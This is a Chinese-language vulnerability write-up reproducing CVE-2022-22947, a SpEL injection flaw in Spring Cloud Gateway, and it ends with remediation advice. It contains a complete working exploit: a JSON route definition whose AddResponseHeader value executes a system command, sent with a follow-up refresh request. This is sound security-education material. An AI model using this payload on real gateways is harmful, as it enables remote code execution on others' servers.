漏洞原理
该漏洞产生的原因是由于,当AddResponseHeaderGatewayFilterFactory传入的值进行计算(getValue())的时候,会逐一向上调用对应的方法,直到进入带有SpEL表达式解析器的位置进行最后的解析,从而触发了SpEL表达式注入漏洞。
漏洞影响范围
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
漏洞复现过程
开启服务后,使用目录爆破工具跑一下(正常情况下)。
发现存在actuator url地址泄露。并且存在headdump文件,使用java -jar JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump进行一波分析,没发现有用的信息。
继续子目录爆破,发现可以存在routes页面。
在http://192.168.5.128:21849/actuator/gateway/routes/页面下,发现路由信息。
注意此处需要Content-Type: application/json
POST /actuator/gateway/routes/test
添加spel语句,执行系统指令。
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
POST /actuator/gateway/refresh
使用POST请求刷新路由信息。
查看刚添加的路由信息,发现命令执行结果已经出现在路由信息中。
注意
该漏洞的利用需要在网关的场景中出现时需要应用暴露actuator,因此有一定前置条件。
修复建议
1、版本更新(注意备份)
2、缓解措施:如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
参考链接
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947):https://blog.csdn.net/xiaobai_20190815/article/details/124045768
CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析:https://blog.csdn.net/m0_61506558/article/details/126914956
SpringCloud Gateway 漏洞分析 (CVE-2022-22947):https://www.cnblogs.com/9eek/p/16243402.html